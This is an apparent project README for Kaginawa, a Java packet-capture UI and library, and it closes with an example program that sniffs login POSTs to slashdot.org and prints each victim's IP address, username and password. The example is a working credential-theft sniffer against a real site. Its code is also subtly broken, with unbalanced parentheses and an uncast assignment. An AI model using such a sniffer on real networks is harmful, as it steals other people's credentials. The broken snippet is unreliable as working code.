Kaginawa is a simple packet capturing UI written in java.

You can think of kaginawa as a slimmed down clone of wireshark, with an emphasis on security (C is not a language for writing parsers) and simplicity of writing modules.

Kaginawa is mainly a frontend UI for a network packet capture library I wrote called NetNotifier. NetNotifier uses JNA to dynamically hook into pcap, and sends out notifications when the desired data is received. For example, your client code can start up a NetNotifier, and subscribe to TCPSession objects. Every time a new TCPSession is contributed to the system, your callback will be notified with a TCPSession object.

The following example demonstrates how easy it is to write something that sniffs slashdot passwords.

import netnotifier.*;

class SlashdotSniff
{
   public static void main(String[] args)
   {
      NetNotifier notifier=new NetNotifier();
      notifier.subscribe(HTTPPost.class,new SlashdotSniff(),"gotPost");
      notifier.startSniffer("ath0");
   }

   public void gotPost(Object object)
   {
      // upcast the object so we can access the fields
      HTTPPost post;
      if(object instanceof HTTPPost)post=object;
      else return;

      if(!post.host.equals("slashdot.org")return;
      if(!post.path.equals("/login.pl")return;

      System.out.print(post.clientIP+": "+
         post.postData.get("unickname")+" "+
         post.postData.get("upasswd"));
   }
}